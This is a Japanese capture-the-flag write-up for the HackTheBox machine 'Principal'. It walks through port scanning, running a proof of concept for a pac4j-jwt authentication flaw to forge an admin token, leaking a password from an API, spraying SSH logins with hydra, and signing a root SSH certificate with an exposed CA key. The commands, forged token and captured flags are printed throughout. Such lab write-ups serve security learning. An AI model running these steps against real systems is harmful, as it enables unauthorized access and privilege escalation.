概要
HackTheBox「Principal」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sCV -T4 -p- 10.129.244.220 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_ 256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open http-proxy Jetty
|_http-open-proxy: Proxy might be redirecting requests
| http-title: Principal Internal Platform - Login
|_Requested resource was /login
|_http-server-header: Jetty
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Sun, 31 May 2026 15:34:48 GMT
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: application/json
| {"timestamp":"2026-05-31T15:34:48.077+00:00","status":404,"error":"Not Found","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
| GetRequest:
| HTTP/1.1 302 Found
| Date: Sun, 31 May 2026 15:34:46 GMT
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
| Content-Language: en
| Location: /login
| Content-Length: 0
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Sun, 31 May 2026 15:34:47 GMT
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
| Allow: GET,HEAD,OPTIONS
| Accept-Patch:
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Date: Sun, 31 May 2026 15:34:47 GMT
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 349
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
| <title>Error 505 Unknown Version</title>
| </head>
| <body>
| <h2>HTTP ERROR 505 Unknown Version</h2>
| <table>
| <tr><th>URI:</th><td>/badMessage</td></tr>
| <tr><th>STATUS:</th><td>505</td></tr>
| <tr><th>MESSAGE:</th><td>Unknown Version</td></tr>
| </table>
| </body>
| </html>
| Socks5:
| HTTP/1.1 400 Bad Request
| Date: Sun, 31 May 2026 15:34:48 GMT
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 382
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
| <title>Error 400 Illegal character CNTL=0x5</title>
| </head>
| <body>
| <h2>HTTP ERROR 400 Illegal character CNTL=0x5</h2>
| <table>
| <tr><th>URI:</th><td>/badMessage</td></tr>
| <tr><th>STATUS:</th><td>400</td></tr>
| <tr><th>MESSAGE:</th><td>Illegal character CNTL=0x5</td></tr>
| </table>
| </body>
|_ </html>
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 22 | ssh | OpenSSH 9.6p1 |
| 8080 | http-proxy | Jetty |
8080番ポートにアクセスすると、Webサイトが表示されました。
ディレクトリスキャンをします。
$ dirsearch -u http://10.129.244.220:8080/
[11:40:53] 200 - 4KB - /dashboard
[11:41:16] 200 - 6KB - /login
nmapのX-Powered-By: pac4j-jwt/6.0.3から製品情報とバージョン情報を得られました。
該当バージョンの脆弱性を検索すると、CVE-2026-29000がヒットしました。
攻撃には以下POCを使用します。
POCを実行すると、adminのJWE Tokenを生成できました。
$ python3 poc.py --jwks http://10.129.244.220:8080/api/auth/jwks --user admin --role ROLE_ADMIN
[*] Fetching JWKS...
[+] Public key loaded
[+] PlainJWT created
=== Malicious JWE Token ===
eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.aKoYOlD6PnLD91Tt5wEe1E3Ztz9vPzmy2BQJJ_2ThkJ4cGm0UsFMOsa0AyE2ytnKWI-fVCPzwCDIo3iix5zLII9KGWfETiK43J2IJfONeJxtXGHi6hFZ3cDXZY_Klj1m_Oi8bh-bGXcRAbzaHVof-CSiTJPMRe-lqxjCznLMn7HO0T10nvA6GhuTSNf59Kn3pc_o9H0sezeBWVbsjEYjT4d-3syqFq1NhsjUj5lI1f9e_ZeuCEBJ42lZg-KXIKwd1mw7WxgufpvbRSdux67KVrNoEFM3X_CpRBGaSS1JpDXju_Mzp74HJweCQOVbr2o4u-n_Gyt9qrdQ8cvMEWPqng.XbhTMPup5a_H2CqJ.RtXCvoy1O9yIeJHag1BlQqFHcd3p_x2OsPLj73NqkS6C-b9eNmKKRCwZFwfB1c7SDG0xzFJmK1y1mMliIYPIRfm1F9iqID1uGeVSect9la3_5efa7JGqjJV8UholZZJc1wDm_TbOjp6zBKcH5Gc3KLXwgVaYdelGsSsmgIIY2wgjLB2HPXsY0kELN6Q_BF7Ajt22LbtR_mJQ4mzd0Vs5sago2LFMPIJ6G1jv-UnA6CCYTjMMRA.WVbKh796z2a5pYQkmfjuiA
Use it as:
Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.aKoYOlD6PnLD91Tt5wEe1E3Ztz9vPzmy2BQJJ_2ThkJ4cGm0UsFMOsa0AyE2ytnKWI-fVCPzwCDIo3iix5zLII9KGWfETiK43J2IJfONeJxtXGHi6hFZ3cDXZY_Klj1m_Oi8bh-bGXcRAbzaHVof-CSiTJPMRe-lqxjCznLMn7HO0T10nvA6GhuTSNf59Kn3pc_o9H0sezeBWVbsjEYjT4d-3syqFq1NhsjUj5lI1f9e_ZeuCEBJ42lZg-KXIKwd1mw7WxgufpvbRSdux67KVrNoEFM3X_CpRBGaSS1JpDXju_Mzp74HJweCQOVbr2o4u-n_Gyt9qrdQ8cvMEWPqng.XbhTMPup5a_H2CqJ.RtXCvoy1O9yIeJHag1BlQqFHcd3p_x2OsPLj73NqkS6C-b9eNmKKRCwZFwfB1c7SDG0xzFJmK1y1mMliIYPIRfm1F9iqID1uGeVSect9la3_5efa7JGqjJV8UholZZJc1wDm_TbOjp6zBKcH5Gc3KLXwgVaYdelGsSsmgIIY2wgjLB2HPXsY0kELN6Q_BF7Ajt22LbtR_mJQ4mzd0Vs5sago2LFMPIJ6G1jv-UnA6CCYTjMMRA.WVbKh796z2a5pYQkmfjuiA
/static/js/app.jsを確認すると、複数のエンドポイントを発見しました。
const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';
生成したadminのJWE Tokenを使用し、/api/usersへアクセスするとユーザ一覧を確認できました。
/api/dashboardで、ダッシュボードへアクセス出来ました。
/api/settingsで、設定内容を確認できました。
設定項目の内容から、/opt/principal/ssh/がSSH証明書に関係しているようです。
"infrastructure":{"sshCertAuth":"enabled","sshCaPath":"/opt/principal/ssh/","notes":"SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config.","database":"H2 (embedded)"}
また、encryptionKeyの値からパスワードの様なD3pl0y_$$H_Now42!を得られました。
"security":{"authFramework":"pac4j-jwt","authFrameworkVersion":"6.0.3","jwtAlgorithm":"RS256","jweAlgorithm":"RSA-OAEP-256","jweEncryption":"A128GCM","encryptionKey":"D3pl0y_$$H_Now42!","tokenExpiry":"3600s","sessionManagement":"stateless"}
/api/usersからユーザリストファイルを作成します。
admin
svc-deploy
jthompson
amorales
bwright
kkumar
mwilson
lzhang
SSHの総当たりを試行すると、認証情報の特定に成功しました。
$ hydra -L users.txt -p 'D3pl0y_$$H_Now42!' 10.129.244.220 ssh
[22][ssh] host: 10.129.244.220 login: svc-deploy password: D3pl0y_$$H_Now42!
SSH接続に成功しました。
$ ssh svc-deploy@10.129.244.220
svc-deploy@principal:~$
ユーザフラグを入手できました。
svc-deploy@principal:~$ cat user.txt
b185d74e2754c08b329b6e8e6185c5c8
A.b185d74e2754c08b329b6e8e6185c5c8
Root Flag
所属グループを調べます。
svc-deploy@principal:~$ id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
グループで権限を持っているファイルを探します。
svc-deploy@principal:~$ find / -group deployers 2>/dev/null
/etc/ssh/sshd_config.d/60-principal.conf
/opt/principal/ssh
/opt/principal/ssh/README.txt
/opt/principal/ssh/ca
SSHの設定ファイルを確認します。
TrustedUserCAKeys /opt/principal/ssh/ca.pubとあり、信頼されたCAの公開鍵が置かれています。
svc-deploy@principal:/opt/principal$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
このことから、登録されているCAはsshdによって信頼されている事が分かります。
svc-deploy@principal:/opt/principal$ cat ssh/README.txt
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication
CAの公開鍵を確認できました。
$ cat ssh/ca.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6lxNSz
CAの秘密鍵も確認できました。
$ cat ssh/ca
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAupcTUsyUBVNyv9BSynItQWa/hy9VE0OOcvJ85btLVWghXJbhGWcj
CAの秘密鍵でSSH公開鍵を署名し、rootでSSH接続できるようにします。
$ ssh-keygen -s ca_priv_key -I user_identity -n root -V +1d ~/.ssh/id_rsa.pub
Signed user key /home/kali/.ssh/id_rsa-cert.pub: id "user_identity" serial 0 for root valid from 2026-05-31T12:53:00 to 2026-06-01T12:54:57
Principals:rootとなっており、rootがSSH接続許可されていることが分かります。
$ ssh-keygen -L -f ~/.ssh/id_rsa-cert.pub
/home/kali/.ssh/id_rsa-cert.pub:
Type: ssh-rsa-cert-v01@openssh.com user certificate
Public key: RSA-CERT SHA256:05Tf1c7w1CUZd804K0ks8luGuGZ932d5nQ58DYEMphw
Signing CA: RSA SHA256:bExSfFTUaopPXEM+lTW6QM0uXnsy7CICk0+p0UKK3ps (using rsa-sha2-512)
Key ID: "user_identity"
Serial: 0
Valid: from 2026-05-31T12:53:00 to 2026-06-01T12:54:57
Principals:
root
Critical Options: (none)
Extensions:
permit-X11-forwarding
permit-agent-forwarding
permit-port-forwarding
permit-pty
permit-user-rc
rootでSSH接続に成功しました。
$ ssh -i ~/.ssh/id_rsa root@10.129.244.220
root@principal:~# id
uid=0(root) gid=0(root) groups=0(root)
ルートフラグを入手できました。
root@principal:~# cat /root/root.txt
f983e4c178dc3dace74a1fa94761d747
A.f983e4c178dc3dace74a1fa94761d747



